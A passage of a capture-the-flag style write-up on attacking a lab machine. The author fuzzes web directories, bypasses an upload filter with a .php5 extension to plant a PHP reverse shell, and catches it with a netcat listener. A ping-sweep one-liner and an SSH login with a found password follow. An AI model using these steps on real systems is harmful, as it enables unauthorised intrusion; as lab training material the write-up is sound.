Wfuzz was useless from root but it mentionned a customer. If we try to go to /sparklays we get a Forbidden which means that we could try wfuzz again but with this.

I had to wfuzz multiple times but here are the commands and interesting results I got:

wfuzz -c --hc 404 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt http://10.10.10.109/sparklays/FUZZ

In the meantime, wfuzz was quite a pain so I tried gobuster which I usually prefer (but wanted to try out wfuzz lol). And I got this

So from these we have:

http://10.10.10.109/sparklays/admin.php
http://10.10.10.109/sparklays/login.php
http://10.10.10.109/sparklays/design/design.html

• On login.php we get an access denied

• But on admin.php we get a login page

Login

I tried bruteforcing along with possible weak password but did not get anywhere.

• On /design/design.html we get this
• And if we click on change logo we end up here so we can play with the upload function.

change logo

I tried a few file extensions and got this working with php5. So I downloaded php-reverse-shell.php5 on the server after modifying the file with my ip address. I set up my listener nc -nlvp 4444 And then I accessed this page from the browser (remember the uploads directory we found before) http://10.10.10.109/sparklays/design/uploads/php-reverse-shell.php5

And I got a shell as www-data:

I chose to play with this machine because I wanted to practice pivoting. So let's check what we have available here in terms of network with arp -a (if for some reason arp -a does not work a friend of mine uses a cool command for i in {1..254} ;do (ping 192.168.122.$i -c 1 -w 5 >/dev/null && echo "192.168.122.$i" &) ;done). But here arp -a works and we get this: But first let's see if we can mobe to a user. if we ls on /home we have 2 users dave and alex. If we go to dave's Desktop we find this. So let's try to ssh as Dave (with the password we found Dav3therav3123). It works:
